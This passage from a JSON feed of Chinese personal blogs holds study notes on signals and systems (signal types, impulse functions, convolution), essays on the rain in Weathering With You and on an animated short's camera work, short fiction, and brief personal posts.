20221220093016.png]]\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e周期信号和非周期信号 定义域在$(-\\infty, +\\infty)$间,每隔$T$重复的信号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e判断两个周期信号的和信号是否为周期信号\u003c/strong\u003e 设两信号周期分别为$T_1,T_2$,若$\\frac{T_1}{T_2}$为有理数,则和信号是周期信号,且周期为$T_1,T_2$的最小公倍数。\u003c/p\u003e\u003cp\u003e正弦\u003cstrong\u003e信号\u003c/strong\u003e一定是\u003cstrong\u003e周期信号\u003c/strong\u003e,其和则不一定。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e判断$f(k)=sin(\\beta k)$是否为周期信号\u003c/strong\u003e ![[Pasted image 20221220094043.png]]\u003c/p\u003e\u003cp\u003e上面的$\\beta$称为数字角频率,这意味着把信号离散化了。\u003cstrong\u003e正弦序列不一定是周期序列,两个周期序列之和一定是周期序列\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e能量信号与功率信号\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号瞬时功率 将信号$f(t)$施加到$1\\Omega$的电阻上,其瞬时功率为$\\vert{f(t)}\\vert^2$。能量和平均功率的定义为:\u003c/p\u003e\u003cp\u003e$$E=\\int \\vert{f(t)}\\vert^2 dt$$\u003cbr/\u003e$$P=lim_{t \\to \\infty}\\frac{1}{T}\\int_{-\\frac{T}{2}}^{\\frac{T}{2}}\\vert{f(t)}\\vert^2 dt$$\u003c/p\u003e\u003cp\u003e若能量有界,则称为能量有限信号/\u003cstrong\u003e能量信号\u003c/strong\u003e。此时$P=0$;若功率有界,则称为功率有限信号/\u003cstrong\u003e功率信号\u003c/strong\u003e,此时$E=\\infty$。\u003c/p\u003e\u003cp\u003e对于离散信号也一样,将积分改为求和即可:![[Pasted image 20221220095410.png]]\u003c/p\u003e\u003cul\u003e\u003cli\u003e一维信号和多维信号 如音频信号/图像信号\u003c/li\u003e\u003cli\u003e因果信号与反因果信号 $t\u0026lt;0,f(t)=0$即因果信号,$t\\geq 0, f(t)=0$ 称为反因果信号\u003c/li\u003e\u003cli\u003e确定性信号\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e指数信号$f(t)=Ke^{\\alpha t}$ 若只保留$t\\geq 0$的部分则称为单边信号\u003c/li\u003e\u003cli\u003e正弦信号$f(t)=Ksin(\\omega t+\\theta)$ 在前面乘一个衰减的指数信号则称为衰减正弦信号\u003c/li\u003e\u003cli\u003e复指数信号 把指数信号的$\\alpha$换为$s=\\sigma +j\\omega$,即复数,这称为复频率![[Pasted image 20221220100315.png]]\u003c/li\u003e\u003cli\u003e抽样信号$Sa(t)=\\frac{sin t}{t}$,向两侧衰减的余弦信号![[Pasted image 20221220100538.png]]\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"1-3-信号的基本运算\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-3-%E4%BF%A1%E5%8F%B7%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"1.3-信号的基本运算\"\u003e\u003c/a\u003e1.3-信号的基本运算\u003c/h3\u003e\u003ch4 id=\"加法和乘法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8A%A0%E6%B3%95%E5%92%8C%E4%B9%98%E6%B3%95\" class=\"headerlink\" title=\"加法和乘法\"\u003e\u003c/a\u003e加法和乘法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连续信号:函数相加/乘\u003c/li\u003e\u003cli\u003e离散信号:对应各离散量相加/乘\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"信号的时间变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%97%B6%E9%97%B4%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"信号的时间变换\"\u003e\u003c/a\u003e信号的\u003cstrong\u003e时间变换\u003c/strong\u003e\u003c/h4\u003e\u003cul\u003e\u003cli\u003e反转:将 $f(t)\\to f(-t)$ ,$f(k)\\to f(-k)$ 称为对信号$f(\\cdot)$的反转或反折。从图形上看是将$f(\\cdot)$以纵坐标为轴反转$180^o$:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414120234.png\"/\u003e\u003c/li\u003e\u003cli\u003e平移:将 $f (t) → f (t – t_0)$ , $f (k) → f (k – k_0)$称为对信号$f (·)$的平移或移位。若$t_0$ (或$k_0$) $\u0026gt;0$,则将$f (·)$右移;否则左移\u003c/li\u003e\u003cli\u003e展缩:将 $f (t) → f (at)$ , 称为对信号$f(t)$的尺度变换。若$a \u0026gt;1$ ,则波形沿横坐标压缩;若$0\u0026lt; a \u0026lt; 1$ ,则扩展:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121016.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"组合变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E7%BB%84%E5%90%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"组合变换\"\u003e\u003c/a\u003e组合变换\u003c/h4\u003e\u003cp\u003e原图进行变换:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121048.png\"/\u003e\u003c/p\u003e\u003cp\u003e变换得到原图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121123.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"1-4-阶跃函数和冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-4-%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0%E5%92%8C%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"1.4-阶跃函数和冲激函数\"\u003e\u003c/a\u003e1.4-阶跃函数和冲激函数\u003c/h3\u003e\u003cp\u003e这俩是奇异函数(函数本身\u003cstrong\u003e有不连续点(跳变点)\u003c/strong\u003e 或 \u003cstrong\u003e其导数与积分有不连续点\u003c/strong\u003e 的一类函数)\u003c/p\u003e\u003ch4 id=\"阶跃函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"阶跃函数\"\u003e\u003c/a\u003e阶跃函数\u003c/h4\u003e\u003cp\u003e函数如下:$\\epsilon(t)=0:x\u0026lt;=0;1,x\u0026gt;0$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131707.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"单位冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8D%95%E4%BD%8D%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"单位冲激函数\"\u003e\u003c/a\u003e单位冲激函数\u003c/h4\u003e\u003cul\u003e\u003cli\u003e函数值只在t = 0时不为零\u003c/li\u003e\u003cli\u003e积分面积为1\u003c/li\u003e\u003cli\u003e$t=0$时,$\\delta(t)\\to \\infty$,为无界函数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131930.png\"/\u003e\u003c/p\u003e\u003cp\u003e对$\\epsilon(t)$\u003cstrong\u003e求导即可得到\u003c/strong\u003e单位冲激函数$\\delta(t)$。它高度无穷高,厚度无穷窄,面积为1。反过来,对单位冲激函数积分就可以得到$\\epsilon(t)$。\u003c/p\u003e\u003cp\u003e它有如下重要性质:\u003c/p\u003e\u003col\u003e\u003cli\u003e取样性:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132334.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$sin(t+\\frac{\\pi}{4})\\delta(t)=sin(\\frac{\\pi}{4})\\delta(t)=\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003cli\u003e$\\int_{-\\infty}^{\\infty}{sin(t-\\frac{\\pi}{4})\\delta(t)}=-\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e冲激偶:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132850.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132931.png\"/\u003e\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e\u003cstrong\u003e尺度变换\u003c/strong\u003e:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134240.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415134319.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"2-连续系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"2-连续系统的时域分析\"\u003e\u003c/a\u003e2-连续系统的时域分析\u003c/h2\u003e\u003ch3 id=\"2-1-LTI连续系统的响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-1-LTI%E8%BF%9E%E7%BB%AD%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.1-LTI连续系统的响应\"\u003e\u003c/a\u003e2.1-LTI连续系统的响应\u003c/h3\u003e\u003col\u003e\u003cli\u003e微分方程的经典解\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e步骤相对固定:\u003c/p\u003e\u003cp\u003e先计算通解,再计算特解,随后回代特解和激励,得到特解的系数;最后回代,利用初始条件得到方程的未知系数。\u003c/p\u003e\u003cul\u003e\u003cli\u003e计算通解:就是方程对应齐次微分方程的解。得到特征根后即可写出通解\u003c/li\u003e\u003cli\u003e计算特解:根据激励的形态确定特解形式。激励形式有指数、幂级数、三角函数三种形式,以及冲激函数。前三种有固定的特解形式\u003c/li\u003e\u003cli\u003e回代得到特解系数:就是回代,然后化简,就能得到特解系数\u003c/li\u003e\u003cli\u003e得到全解:通解=齐次解+特解。最后代入初始条件得到通解的系数,即可得到全解\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e\u003cp\u003e关于$0_-$和$0_+$值\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零输入响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e零状态响应\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e全响应\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般情况下,根据换路定律,二者应该是相等的。但是\u003cstrong\u003e当激励中含有冲激函数及其导数时,$t=0$激励接入系统时,响应及其导数就可能发生跃变\u003c/strong\u003e。这种情情况下,就需要手工计算二者。通常有两种方法:\u003cem\u003e积分法\u003c/em\u003e和\u003cem\u003e待定系数法\u003c/em\u003e。\u003c/p\u003e\u003ch3 id=\"2-2-冲激响应和阶跃响应\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-2-%E5%86%B2%E6%BF%80%E5%93%8D%E5%BA%94%E5%92%8C%E9%98%B6%E8%B7%83%E5%93%8D%E5%BA%94\" class=\"headerlink\" title=\"2.2-冲激响应和阶跃响应\"\u003e\u003c/a\u003e2.2-冲激响应和阶跃响应\u003c/h3\u003e\u003ch3 id=\"2-3-零状态响应与卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-3-%E9%9B%B6%E7%8A%B6%E6%80%81%E5%93%8D%E5%BA%94%E4%B8%8E%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.3-零状态响应与卷积积分\"\u003e\u003c/a\u003e2.3-零状态响应与卷积积分\u003c/h3\u003e\u003cp\u003e根据LTI系统的线性性质、齐次性质、时不变性质可以得到,任意激励$f(t)$的响应$y_{zs}(t)$为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ey_{zs}(t)=\\int_{-\\infty}^{\\infty}{}f(\\tau)h(t-\\tau)d\\tau=f(t)*h(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e从直观上看,这相当于:$f(t)$引发的响应等于所有构成它的冲激函数单独作用引起的响应之和。\u003c/p\u003e\u003cp\u003e从而,计算LTI系统响应就可以直接用卷积积分计算,无需求解经典微分方程。一般步骤:\u003c/p\u003e\u003cul\u003e\u003cli\u003e求$h(t)$:这一步就是求解微分方程,得到系统响应\u003c/li\u003e\u003cli\u003e求$y_{zs}(t)$:直接用任意激励$f(t)$卷上系统响应$h(t)$就能得到零状态响应$y_{zs}(t)$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"2-4-卷积积分\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#2-4-%E5%8D%B7%E7%A7%AF%E7%A7%AF%E5%88%86\" class=\"headerlink\" title=\"2.4-卷积积分\"\u003e\u003c/a\u003e2.4-卷积积分\u003c/h3\u003e\u003cp\u003e定义:一般而言,有两个定义在实数域上的函数$f_1(t)$和$f_2(t)$,它们的卷积积分定义为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)=f_1(t)*f_2(t)=\\int_{-\\infty}^{\\infty}{f_1(\\tau)f_2(t-\\tau)d\\tau}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e计算方法也很多,比如图解法:\u003cstrong\u003e已知二者波形时,先换元,将$t$换为$\\tau$;再将$f_2(\\tau)$变换为$f_2(t-\\tau)$;随后将二者相乘,最后将乘积对$\\tau$积分\u003c/strong\u003e。注意,这里对乘积积分时,需要注意到$t$是个不确定的变量,应该分区间讨论。\u003c/p\u003e\u003cp\u003e性质:首先是代数运算,它满足\u003c/p\u003e\u003cul\u003e\u003cli\u003e交换律\u003c/li\u003e\u003cli\u003e分配律\u003c/li\u003e\u003cli\u003e结合律\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其次,是函数和冲激函数的卷积,这是最简单的一种情况。有以下结论:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t)=\\delta(t)*f(t)=\\int_{-\\infty}^{\\infty}{\\delta(\\tau)f(t-\\tau)d\\tau}=f(t)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e也就是任意函数卷上$\\delta(t)$得到它本身。推广得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef(t)*\\delta(t-t_0)=\\delta(t-t_0)*f(t)=f(t-t_0)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e还可以得到:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ef_1(t-t_1)*f_2(t-t_2)=f_1(t-t_2)*f_2(t-t_1)=f_1(t)*f_2(t)*\\delta(t-t_1-t_2)\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e此外,还有:$f(t)*\\delta’(t)=f’(t)$成立\u003c/p\u003e\u003ch2 id=\"3-离散系统的时域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#3-%E7%A6%BB%E6%95%A3%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%97%B6%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"3-离散系统的时域分析\"\u003e\u003c/a\u003e3-离散系统的时域分析\u003c/h2\u003e\u003ch2 id=\"4-傅里叶变换和系统的频域分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#4-%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2%E5%92%8C%E7%B3%BB%E7%BB%9F%E7%9A%84%E9%A2%91%E5%9F%9F%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"4-傅里叶变换和系统的频域分析\"\u003e\u003c/a\u003e4-傅里叶变换和系统的频域分析\u003c/h2\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/"}]},{"name":"lby's blog site","email":"","uri":"http://lby.github.io/","description":"","article":[{"title":"天气之子——那场熙攘的雨","time":"2023-03-31T07:35:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e序章\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e说起来这竟是如此戏谑又巧合。初逢《天气之子》,我意外迎到了久别难以谋面的知己,虽不至推杯换盏之态,然语心诉情,盛着清风淡月彼肩散漫,是我们对彼此最奢华的礼待。于是乎,莫明而缠绵的秋雨,便让这座城清冷了一周。而再临影院重看《天气之子》这一程,着一袭黑色风衣的我竟显得与这街景格格不入——久违的日光与日影,渲染着本就斑斓的枯叶、草木,让色彩蕴出的世间,令人难以确信虚实。只惜,身形侧尽秋风过,既日别去,我们都已成顾影的离人。\u003c/p\u003e\u003cp\u003e在大雨磅礴中相遇,在丽日和风中相离,这种自以为里的浪漫与伤感,恰与帆高和阳菜的命运相映。本就执着于新海诚的风格,如此一遭,分明又添了几分好感。还是要感谢《天气之子》,正如新海域在B站的采访中谈到,作为被动画救赎的自己,如今也希望用自己的创作触动、救赎当下的年青人,于我,能从纷扰的尘世被拉出,重新去相信,执着那些因适应生存而“退化”的思与情,这定是一种救赎且宛若新生。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eあめ,あめ\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e似乎除了阳菜身边罕见般足以称为奇迹的晴天,东京的雨,浸透了《天气之子》整部影片,雨落地疯狂,以致于常人脑中锋面气旋的基本原理,已很难与这场超乎寻常的雨相奏泊。而帆高最初流落街头,收养的那只名为小雨的猫,在不断地向一只橘猫的体形转变。从某种意义上而言,这又何尝不是对东京雨势变化的暗示?\u003c/p\u003e\u003cp\u003e新海城营造的雨,在《言叶之庭》中已经淅淅沥沥的下了几场。不过《言叶之庭》的雨,更多是作为背景环境和表现手法,为这场彼此缄默难料结果的爱情交织出朦胧而又忧伤的氛围,《天气之子》的雨,则已成为主要的剧情线索,承担着诸多情感的映射,深层次的象征。在此过程中,雨被赋予了一种灵性,在意象与意境二者中游走自如。\u003c/p\u003e\u003cp\u003e何以言之?《天气之子》中的雨,已从朦胧化走向真实化。东京这场不停歇的雨,让晴女的有在有了合理性和价值,人们面对天气,尤显这场惊骇又显无力的雨,内心情感的曲折变化;对于停雨而牺牲晴女的争讨,并由此上升至个体对世界的挣扎反抗……雨在此被新海诚作为更为全面的载体,也是诸多表达上的媒介,而非仅仅具有渲染效果。这样的雨就必须要求多样性。在《天气之子》中,镜头的把控起到了至关的作用,雨被不同镜头分出了层次。磅礴地雨落如柱,一方水洼泛起雨露的轻鸢剪影,东京街头细密如织已融成灰白的强降水,还有阳菜伞顶的惊鸿一暼……雨的多层次化使其可以被模仿现实地细致描摹,值得画师用手绘去一点点刻画,精妙到雨的溅落方向都以水滴为分异,也会被采用印象派的手法,仅用简单的线条,概括般的色块以及光影变幻来表达雨势。\u003c/p\u003e\u003cp\u003e如此多元化的雨,却正是对现实雨的高度拟合,也由此更具有现实意义。雨的变化多端并非率性,而是对人物内心的同步反映。就像阳菜,帆高和凪前辈被迫逃亡途中,雨势随之愈演愈烈,正是对三者内心的孤苦、迷茫和愤怒的读取和直观表现,为加强效果,甚至设定阳菜能招来来闪电。 新海诚在此最精妙的手法,便是利用雨声的表现性。雨声的骤然暂停烘托出放情的天气效果;雨声的变化结合雨势变化共同反映情感变化;雨声持续地击打传递出压抑;以及将雨声做为伴奏之一更好表现插曲。雨被全面的激活,构架出《天气之子》,成为其核心、也最具灵魂的艺术效果。由此看来,用雨进行表述,反过来也赋予了雨灵性,雨共享了其自身应表现的情感,却因此不再呆板。寓情于景,景往往活过来抒情。不仅于此,《天气之子》中的雨,既充当了固定的意象,也成为了特殊的意境,雨的身份在二者中游自如。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2023/03/31/%E5%A4%A9%E6%B0%94%E4%B9%8B%E5%AD%90%E2%80%94%E2%80%94%E9%82%A3%E5%9C%BA%E7%86%99%E6%94%98%E7%9A%84%E9%9B%A8/"},{"title":"毕业旅行镜头语言浅析","time":"2023-03-31T07:22:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e我惊讶于这一次的动画短片没有以一场华丽的终焉之战收结,而是用“毕业旅行”这样的概念收束全片。也正因如此,整部短片充满回忆与现实的交错,在时间的倒带中用具象化的场景呈现出琪亚娜的内心世界(月台、列车)。近八分钟的时长里有诸多回忆片段的闪回,但配合着高超的叙述手法和多段式的节奏风格,竟没有丝毫的强行感动而因此落入俗套。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003e毕业是与过往的人与事告别,而动画短片精巧地为告别编排了层次——苦难与敌人(奥托、千律、侵蚀)、携手同行的挚友(芽衣,布洛尼娅)、与其一同度过的回忆片段(闪回部分)、回忆出发的原点(姬子与圣芙蕾雅),最终落脚到过去的那个小小的却步伐坚定的自己。毕业典礼临近尾声,琪亚娜看着过去的自己走向偌大的地球,她知晓她的命运,知晓她最终要去承担将整个地球扛在肩上的责任,但时间交错的自己还是再一次做出了相同的选择,用前行作为无声的承诺。过往回溯到了最初的起点,与过去毕业的旅行也到了终点站,情感基调充斥着不舍与伤感,但画面一转,琪亚娜走向月球的身影,与过去的自己形成对照,又无比相似。或许,寻回初心并不意味着结束;或许,成为英雄并非意味着终点;或许,另一层面上的毕业旅行才将要启程。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2023/03/31/%E6%AF%95%E4%B8%9A%E6%97%85%E8%A1%8C%E9%95%9C%E5%A4%B4%E8%AF%AD%E8%A8%80%E6%B5%85%E6%9E%90/"},{"title":"幻想家与夏","time":"2022-01-12T09:03:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e“接下来要讲述的,是幻想家的故事” \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e幻想家在桌前,望着这句老套的开场白出神。 \u003c/p\u003e\u003cp\u003e已经许久未曾运笔,至于原因,幻想家心中有一个模糊的答案。但他却不愿承认——被生活的烦忙与琐碎打倒,撕扯,扔进漩涡中心,行动交由早已既定、当下先行的最高指令,意识则一点点被消磨殆尽——这是他矢口否认的,不愿看到的,却又被迫选择的,将一切激情与宝贵岁月心甘情愿交付的,孕育着他的宝石般的未来的——他甚至认为自己理当是个好蚌,可被撬开后,那颗珠的尺寸与光泽却又令他大失所望,夏的火种也随之熄灭了,他空空举着未燃的火把,带不给他一点光与热,呆伫于路上,任由他人的火光将内心刺痛——他的夏,似已结束。 \u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e“我的夏,竟已结束了……” \u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e幻想家喃喃道,那种熟悉的空无感又趁虚而入,将他的内心一点点蚕食,曾经高举过头顶的双臂已垂弱无力,对生命与生活的热情正在被从他身体抽离。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://lby.github.io/2022/01/12/%E5%B9%BB%E6%83%B3%E5%AE%B6%E4%B8%8E%E5%A4%8F/"}]},{"name":"Ri的手账本","email":"","uri":"https://ray.al","description":"","article":[{"title":"真正的痛苦","time":"2023-07-16T17:50:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e仰头望天,这又是何等的痛苦\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/230"},{"title":"今天的天气,知道的?","time":"2023-07-15T18:16:15Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e连遗忘本身都忘记,那才是真正的束手无策。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/227"},{"title":"好玩的Kalman滤波器(仅样例)","time":"2023-07-14T17:05:02Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e然而Kalman滤波器不是滤波器(\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/221"},{"title":"好玩的传感器和Arduino开发板","time":"2023-07-13T13:38:09Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e算是自己做的一些微小的工作\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/215"},{"title":"剃须与味噌汤","time":"2021-12-02T18:39:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e莎优的脑海里又浮现起了那时吉田找到自己时涨得通红的脸,那种担心而大汗淋漓的表情……不知道为什么,她觉得有些心酸,却又有些高兴。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/99"},{"title":"再次相遇","time":"2021-12-02T18:31:35Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e吉田感受到了一种力场,就好像是一根细线,把他和少女的命运系在一起。有只有今天才能遇见的人,也只有今天才能遇见的事。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://ray.al/122"},{"title":"Buffalo Nas的简单评测","time":"2021-11-02T12:15:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e在上课,所以先不放图 这次评测的主人公是Buffalo ls-wxl (LinkStation) 闲鱼上某个老 